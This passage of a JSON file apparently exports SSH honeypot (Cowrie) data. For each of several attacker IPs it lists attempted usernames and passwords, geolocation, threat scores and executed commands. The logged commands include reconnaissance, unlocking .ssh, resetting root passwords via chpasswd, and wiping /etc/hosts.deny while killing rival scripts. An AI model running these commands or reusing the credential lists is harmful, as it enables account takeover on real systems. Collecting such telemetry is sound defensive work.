        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nJA4dFU6fytND\\nJA4dFU6fytND\\n\"|passwd",
        "echo \"Water\\n0r62HqUPyRAU\\n0r62HqUPyRAU\\n\"|passwd",
        "echo \"root:4v71KjHuIWCA\"|chpasswd|bash",
        "echo \"root:Qg2RdBjAT74n\"|chpasswd|bash",
        "echo \"root:SOdX8YqJM18l\"|chpasswd|bash",
        "echo \"root:m3VcMKUL3xg3\"|chpasswd|bash",
        "echo \"root:oldiTLU7e3N1\"|chpasswd|bash",
        "echo \"root:ppDbbWeptTzy\"|chpasswd|bash",
        "echo -e \"123456\\nJA4dFU6fytND\\nJA4dFU6fytND\"|passwd|bash",
        "echo -e \"Water\\n0r62HqUPyRAU\\n0r62HqUPyRAU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Margilan",
      "asn": 35682,
      "as_org": "Best Internet Solution Xk",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 842,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T05:37:04.620000+00:00",
        "last_seen_30d": "2026-03-26T20:40:33.609000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 721,
        "Suricata": 121
      }
    },
    "171.25.158.70": {
      "attack_count": 706,
      "first_seen": "2026-03-02T23:01:12.811Z",
      "last_seen": "2026-03-13T03:07:10.822Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "ami",
        "claude",
        "ftpuser",
        "planka",
        "rahul",
        "appuser",
        "ashish",
        "ben",
        "chrism",
        "db2inst1",
        "deamon_root",
        "devuser",
        "eddy",
        "gitlab",
        "icecast",
        "lan",
        "n8n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "123",
        "1233218613",
        "12345678",
        "123!@#QWEqwe",
        "1234",
        "123asd",
        "Cc123456.",
        "New123",
        "Qwerty11",
        "Qwerty123!",
        "Rd123456",
        "Rdp123",
        "Ss123321..",
        "Wj123456",
        "Wz123456",
        "abc@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1233218613\\nKiTkMwoIe3bF\\nKiTkMwoIe3bF\\n\"|passwd",
        "echo \"ami1234\\nlhxXbOf3xSZt\\nlhxXbOf3xSZt\\n\"|passwd",
        "echo \"ftpuser2026\\nFws83GqCsspe\\nFws83GqCsspe\\n\"|passwd",
        "echo \"planka123!\\nfD6P4Xz4MzUM\\nfD6P4Xz4MzUM\\n\"|passwd",
        "echo \"rahul123!\\nE42eiah6Vxqk\\nE42eiah6Vxqk\\n\"|passwd",
        "echo \"root:4KS29r8O8yFG\"|chpasswd|bash",
        "echo \"root:HRKDbjL98Xw2\"|chpasswd|bash",
        "echo -e \"1233218613\\nKiTkMwoIe3bF\\nKiTkMwoIe3bF\"|passwd|bash",
        "echo -e \"ami1234\\nlhxXbOf3xSZt\\nlhxXbOf3xSZt\"|passwd|bash",
        "echo -e \"ftpuser2026\\nFws83GqCsspe\\nFws83GqCsspe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 843,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:01:12.811000+00:00",
        "last_seen_30d": "2026-03-13T03:08:13.229000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 706,
        "Suricata": 137
      }
    },
    "154.57.216.142": {
      "attack_count": 463,
      "first_seen": "2026-03-06T08:19:11.741Z",
      "last_seen": "2026-03-19T15:34:53.256Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mike",
        "perforce",
        "xml",
        "Guest",
        "ansible",
        "cockpit",
        "csserver",
        "d",
        "debian",
        "dmdba",
        "ljd",
        "scraper",
        "sg",
        "tiger",
        "yocto",
        "zjsf"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "@qwer2025",
        "@qwer2026",
        "123",
        "1234",
        "123456",
        "12345678",
        "585858",
        "Haslo123",
        "Perforce123",
        "aaaa1234",
        "csserver1234",
        "dmdba1234",
        "mike123!",
        "password",
        "qwerty123123",
        "scraper1234",
        "sg1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Perforce123\\nOTXTnAD0XEJL\\nOTXTnAD0XEJL\\n\"|passwd",
        "echo \"mike123!\\n3A1LFNNst2vH\\n3A1LFNNst2vH\\n\"|passwd",
        "echo \"root:4pTs9MwME8ri\"|chpasswd|bash",
        "echo \"root:p65r3FDKjApM\"|chpasswd|bash",
        "echo \"xml1234\\n4Xn6Ce5APfY6\\n4Xn6Ce5APfY6\\n\"|passwd",
        "echo -e \"Perforce123\\nOTXTnAD0XEJL\\nOTXTnAD0XEJL\"|passwd|bash",
        "echo -e \"mike123!\\n3A1LFNNst2vH\\n3A1LFNNst2vH\"|passwd|bash",
        "echo -e \"xml1234\\n4Xn6Ce5APfY6\\n4Xn6Ce5APfY6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 135407,
      "as_org": "Trans World Enterprise Services Private Limited",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 543,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:19:11.741000+00:00",
        "last_seen_30d": "2026-03-19T15:36:00.962000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 463,
        "Suricata": 80
      }
    },
    "157.10.160.98": {
      "attack_count": 445,
      "first_seen": "2026-03-11T19:43:39.632Z",
      "last_seen": "2026-03-14T15:36:21.646Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "eadmin",
        "ec2-user",
        "lee",
        "marissa",
        "wpuser",
        "ansible",
        "bkp",
        "help",
        "matic",
        "mgmt",
        "mm",
        "n8n",
        "rachel",
        "rahul",
        "sdtd",
        "sri",
        "superman",
        "trooper",
        "wikijs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "12345",
        "123456",
        "12345678",
        "ansible123",
        "bkp",
        "eadmin123",
        "ec2-user123!",
        "lee1234",
        "maticpass",
        "mm1234",
        "n8n",
        "superman",
        "trooper123",
        "wikijs123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nsPfs0fNIbRCZ\\nsPfs0fNIbRCZ\\n\"|passwd",
        "echo \"123456\\nAEkw6Zu97NkT\\nAEkw6Zu97NkT\\n\"|passwd",
        "echo \"eadmin123\\nX3ymNzLwFa3f\\nX3ymNzLwFa3f\\n\"|passwd",
        "echo \"ec2-user123!\\nhmjNGgOr5w8o\\nhmjNGgOr5w8o\\n\"|passwd",
        "echo \"lee1234\\neN08fqRdymMP\\neN08fqRdymMP\\n\"|passwd",
        "echo -e \"12345678\\nsPfs0fNIbRCZ\\nsPfs0fNIbRCZ\"|passwd|bash",
        "echo -e \"123456\\nAEkw6Zu97NkT\\nAEkw6Zu97NkT\"|passwd|bash",
        "echo -e \"eadmin123\\nX3ymNzLwFa3f\\nX3ymNzLwFa3f\"|passwd|bash",
        "echo -e \"ec2-user123!\\nhmjNGgOr5w8o\\nhmjNGgOr5w8o\"|passwd|bash",
        "echo -e \"lee1234\\neN08fqRdymMP\\neN08fqRdymMP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:43:39.632000+00:00",
        "last_seen_30d": "2026-03-14T15:37:23.239000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 68
      }
    },
    "123.58.215.196": {
      "attack_count": 430,
      "first_seen": "2026-03-10T17:47:58.240Z",
      "last_seen": "2026-03-31T04:35:16.886Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "test",
        "test2",
        "antoine",
        "hh",
        "kannel",
        "mehedi",
        "planka",
        "tv",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234512345",
        "123456",
        "12345678",
        "Aa159357",
        "Admin1",
        "Perparimlatifi123321",
        "Zaq1Xsw2Cde3Vfr4",
        "admin1234!",
        "admin@2024",
        "adrian140489",
        "antoine123",
        "bitch",
        "contrasena",
        "hh123!",
        "huawei@123",
        "king1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nOqxFX7dvsjOy\\nOqxFX7dvsjOy\\n\"|passwd",
        "echo \"123\\n3LD8wclqP3Am\\n3LD8wclqP3Am\\n\"|passwd",
        "echo \"root:MyOAmDbP5XJ1\"|chpasswd|bash",
        "echo \"test!123\\nAVlUV0RWgGXl\\nAVlUV0RWgGXl\\n\"|passwd",
        "echo -e \"123456\\nOqxFX7dvsjOy\\nOqxFX7dvsjOy\"|passwd|bash",
        "echo -e \"123\\n3LD8wclqP3Am\\n3LD8wclqP3Am\"|passwd|bash",
        "echo -e \"test!123\\nAVlUV0RWgGXl\\nAVlUV0RWgGXl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T17:47:58.240000+00:00",
        "last_seen_30d": "2026-03-31T04:36:24.445000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 92
      }
    },
    "50.6.251.68": {
      "attack_count": 384,
      "first_seen": "2026-03-03T11:10:32.659Z",
      "last_seen": "2026-03-12T14:17:18.352Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "angel",
        "viewer",
        "hanul",
        "live",
        "n8n",
        "nominatim",
        "prashant",
        "shawn",
        "telegram",
        "wireguard"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1020",
        "123",
        "123!@#asd",
        "12345",
        "12345678",
        "Admin@007",
        "Alpha123",
        "Angel123",
        "Bingo@1993",
        "Passwd123",
        "Tencent@2025",
        "abc123",
        "asdasd12",
        "hanul123",
        "n8n",
        "nominatim123!",
        "prashantpass",
        "qwer@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Angel123\\nKQSl9A8gZVWN\\nKQSl9A8gZVWN\\n\"|passwd",
        "echo \"root:TYz9aNke8Zj3\"|chpasswd|bash",
        "echo \"root:kFyDPmNyc70M\"|chpasswd|bash",
        "echo \"viewerpass\\n1HhVexRzCnnT\\n1HhVexRzCnnT\\n\"|passwd",
        "echo -e \"Angel123\\nKQSl9A8gZVWN\\nKQSl9A8gZVWN\"|passwd|bash",
        "echo -e \"viewerpass\\n1HhVexRzCnnT\\n1HhVexRzCnnT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 453,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:10:32.659000+00:00",
        "last_seen_30d": "2026-03-12T14:18:25.401000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 384,
        "Suricata": 69
      }
    },
    "54.38.52.18": {
      "attack_count": 377,
      "first_seen": "2026-03-06T02:32:05.534Z",
      "last_seen": "2026-03-24T01:11:53.683Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "abdel",
        "anders",
        "ed",
        "root",
        "Test",
        "ali",
        "applmgr",
        "applprod",
        "bart",
        "bot",
        "btm",
        "builder",
        "desarrollo",
        "elearn",
        "ftptest",
        "geoserver",
        "iptv",
        "jenkins",
        "kyle"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "Applmgr123!",
        "Bus365.com!@#",
        "Samp123!",
        "ali@123456",
        "applprod@123456",
        "bart2025",
        "ed",
        "elearn123!",
        "ftptest",
        "geoserverpass",
        "kyle1234",
        "kytpass",
        "mama123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nYU1mhp3GD30m\\nYU1mhp3GD30m\\n\"|passwd",
        "echo \"1234\\nprJVirYRp4O8\\nprJVirYRp4O8\\n\"|passwd",
        "echo \"ed\\nL3xXHGcVxWdo\\nL3xXHGcVxWdo\\n\"|passwd",
        "echo -e \"1234\\nYU1mhp3GD30m\\nYU1mhp3GD30m\"|passwd|bash",
        "echo -e \"1234\\nprJVirYRp4O8\\nprJVirYRp4O8\"|passwd|bash",
        "echo -e \"ed\\nL3xXHGcVxWdo\\nL3xXHGcVxWdo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.7,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 470,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:32:05.534000+00:00",
        "last_seen_30d": "2026-03-24T01:12:56.217000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 377,
        "Suricata": 93
      }
    },
    "163.245.192.161": {
      "attack_count": 326,
      "first_seen": "2026-03-23T05:11:51.606Z",
      "last_seen": "2026-03-23T05:29:18.137Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bot",
        "gw",
        "stream",
        "x",
        "ftpuser2",
        "host",
        "jason",
        "leon",
        "passbolt",
        "webadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "bot123",
        "gw123!",
        "jason123",
        "leon1234",
        "password",
        "stream1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n9xTDbc2eA1st\\n9xTDbc2eA1st\\n\"|passwd",
        "echo \"bot123\\nzJqN3B1TAhAq\\nzJqN3B1TAhAq\\n\"|passwd",
        "echo \"gw123!\\neb2LgAsBzhWv\\neb2LgAsBzhWv\\n\"|passwd",
        "echo \"stream1234\\nKWJd49mPesyv\\nKWJd49mPesyv\\n\"|passwd",
        "echo -e \"12345678\\n9xTDbc2eA1st\\n9xTDbc2eA1st\"|passwd|bash",
        "echo -e \"bot123\\nzJqN3B1TAhAq\\nzJqN3B1TAhAq\"|passwd|bash",
        "echo -e \"gw123!\\neb2LgAsBzhWv\\neb2LgAsBzhWv\"|passwd|bash",
        "echo -e \"stream1234\\nKWJd49mPesyv\\nKWJd49mPesyv\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 26666,
      "as_org": "Interserver, Inc",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T05:11:51.606000+00:00",
        "last_seen_30d": "2026-03-23T05:30:22.247000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 326,
        "Suricata": 40
      }
    },
    "165.154.6.17": {
      "attack_count": 324,
      "first_seen": "2026-03-14T01:33:09.635Z",
      "last_seen": "2026-03-14T01:56:19.501Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kocom",
        "netweb",
        "asus",
        "chris",
        "elizabeth",
        "kyle",
        "simone",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123123qq",
        "12345",
        "12345678",
        "Abc@123",
        "Kocom123!",
        "chris123!",
        "elizabeth1234",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nU7ASPWhKPOwu\\nU7ASPWhKPOwu\\n\"|passwd",
        "echo \"Kocom123!\\n8i54zfgZWqDC\\n8i54zfgZWqDC\\n\"|passwd",
        "echo \"root:jnUc7INIr6sM\"|chpasswd|bash",
        "echo \"root:siUvZi6hXNUU\"|chpasswd|bash",
        "echo -e \"123\\nU7ASPWhKPOwu\\nU7ASPWhKPOwu\"|passwd|bash",
        "echo -e \"Kocom123!\\n8i54zfgZWqDC\\n8i54zfgZWqDC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:33:09.635000+00:00",
        "last_seen_30d": "2026-03-14T01:57:22.967000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 324,
        "Suricata": 40
      }
    },
    "202.51.214.98": {
      "attack_count": 317,
      "first_seen": "2026-03-13T01:53:22.096Z",
      "last_seen": "2026-03-14T23:48:32.288Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "liang",
        "viewtinet",
        "admin",
        "ais",
        "alex",
        "andre",
        "cc",
        "huang",
        "jino",
        "lh",
        "marcelo",
        "root",
        "student2",
        "syncthing",
        "tmp",
        "trans",
        "ubuntu",
        "usuario"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "123456",
        "Andre123!",
        "Huang123",
        "alex123!",
        "cc123",
        "lhpass",
        "pass123",
        "qq123456",
        "qweasd",
        "qwer1234",
        "qwerty",
        "student2123",
        "syncthing1234",
        "tmppass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
